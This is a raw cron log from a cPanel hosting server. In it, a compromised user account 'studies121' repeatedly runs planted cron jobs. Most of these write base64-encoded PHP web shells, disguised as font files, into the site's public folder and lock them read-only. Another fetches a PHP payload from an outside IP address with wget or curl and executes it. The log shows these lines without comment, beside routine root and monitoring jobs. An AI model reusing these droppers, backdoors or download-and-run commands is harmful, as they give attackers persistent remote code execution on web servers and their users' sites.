Sep  5 15:25:01 ip-184-168-122-23 CROND[10554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:25:01 ip-184-168-122-23 CROND[10553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:25:01 ip-184-168-122-23 CROND[10555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:25:01 ip-184-168-122-23 CROND[10556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:26:02 ip-184-168-122-23 CROND[10658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:26:02 ip-184-168-122-23 CROND[10661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:26:02 ip-184-168-122-23 CROND[10662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:26:02 ip-184-168-122-23 CROND[10664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:26:02 ip-184-168-122-23 CROND[10663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:27:01 ip-184-168-122-23 CROND[10758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:27:01 ip-184-168-122-23 CROND[10760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:27:01 ip-184-168-122-23 CROND[10761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:27:01 ip-184-168-122-23 CROND[10762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:28:01 ip-184-168-122-23 CROND[10844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:28:01 ip-184-168-122-23 CROND[10842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:28:01 ip-184-168-122-23 CROND[10843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:28:01 ip-184-168-122-23 CROND[10845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:28:01 ip-184-168-122-23 CROND[10846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:29:01 ip-184-168-122-23 CROND[10948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:29:01 ip-184-168-122-23 CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:29:01 ip-184-168-122-23 CROND[10949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:29:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:30:01 ip-184-168-122-23 CROND[11054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:30:01 ip-184-168-122-23 CROND[11055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:30:01 ip-184-168-122-23 CROND[11058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:30:01 ip-184-168-122-23 CROND[11052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:30:01 ip-184-168-122-23 CROND[11059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:30:01 ip-184-168-122-23 CROND[11060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:30:02 ip-184-168-122-23 CROND[11053]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:30:02 ip-184-168-122-23 CROND[11061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:31:01 ip-184-168-122-23 CROND[11236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:31:01 ip-184-168-122-23 CROND[11237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:31:01 ip-184-168-122-23 CROND[11238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:31:01 ip-184-168-122-23 CROND[11240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:31:01 ip-184-168-122-23 CROND[11241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:32:01 ip-184-168-122-23 CROND[11349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:32:01 ip-184-168-122-23 CROND[11350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:32:01 ip-184-168-122-23 CROND[11351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:32:01 ip-184-168-122-23 CROND[11353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:32:01 ip-184-168-122-23 CROND[11354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:33:01 ip-184-168-122-23 CROND[11442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:33:01 ip-184-168-122-23 CROND[11444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:33:01 ip-184-168-122-23 CROND[11445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:33:01 ip-184-168-122-23 CROND[11443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:34:01 ip-184-168-122-23 CROND[11555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:34:01 ip-184-168-122-23 CROND[11556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:34:01 ip-184-168-122-23 CROND[11559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:34:01 ip-184-168-122-23 CROND[11558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:34:01 ip-184-168-122-23 CROND[11560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11703]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11706]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:35:01 ip-184-168-122-23 CROND[11710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:35:01 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:36:01 ip-184-168-122-23 CROND[11816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:36:01 ip-184-168-122-23 CROND[11814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:36:01 ip-184-168-122-23 CROND[11817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:36:01 ip-184-168-122-23 CROND[11818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:36:01 ip-184-168-122-23 CROND[11815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:37:01 ip-184-168-122-23 CROND[11929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:37:01 ip-184-168-122-23 CROND[11932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
